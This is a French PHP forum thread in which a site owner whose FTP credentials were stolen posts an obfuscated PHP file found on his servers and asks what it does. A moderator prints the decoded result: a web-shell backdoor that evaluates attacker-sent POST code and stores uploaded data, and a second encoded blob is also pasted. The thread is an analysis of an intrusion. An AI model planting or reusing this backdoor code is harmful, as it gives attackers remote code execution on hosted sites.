IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Analyse d'un script php malveillant


Sujet :

Langage PHP

  1. #1
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    754
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 754
    Points : 389
    Points
    389
    Par défaut
    Bonjour,
    Les sites que j'héberge ont été piraté et quelqu'un a pu récupérer les codes FTP, je pense qu'il a utilisé un robot qui a créé un fichier généralement appelé default.php (parfois ça change de nom) avec le contenu suivant :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <?php eval(gzinflate(base64_decode("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"))); ?>
    Pour comprendre le contenu j'ai remplacé "eval" par "print" mais ça donne la même chose avec du contenu différent, j'ai répété 2 ou 3 fois et c'est toujours la même chose : le contenu change mais reste toujours codé !
    Quelqu'un peut-il me dire ce que fait ce code ?
    Merci

    à titre indicatif, j'utilisais Filezilla 3. Contrairement à FZ2, la version 3 stocke les fichiers relatifs aux compte dans le dossier %APPDATA% de windows, je pense que c'est à cause de ceci qu'on a pu me voler ce fichier et que ça n'aurait pas était le cas si j'utilisais FZ2 car ce dernier stocke le fichier dans son propre dossier !

  2. #2
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Tu as 28 niveau de codage.
    Au final ça donne :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    @error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

  3. #3
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    754
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 754
    Points : 389
    Points
    389
    Par défaut
    merci
    mais ça fait quoi au juste ? il récupère des données via POST et les stocke dans un fichier ? dans quel but ? et pourquoi le fichier est créé en FTP ?

  4. #4
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Le script permet soit d’exécuter du code à la volée, soit d'uploader un fichier sur le serveur.

  5. #5
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    754
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 754
    Points : 389
    Points
    389
    Par défaut
    je pense qu'il créé un fichier, voici un échantillon :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <?php eval(gzinflate(base64_decode("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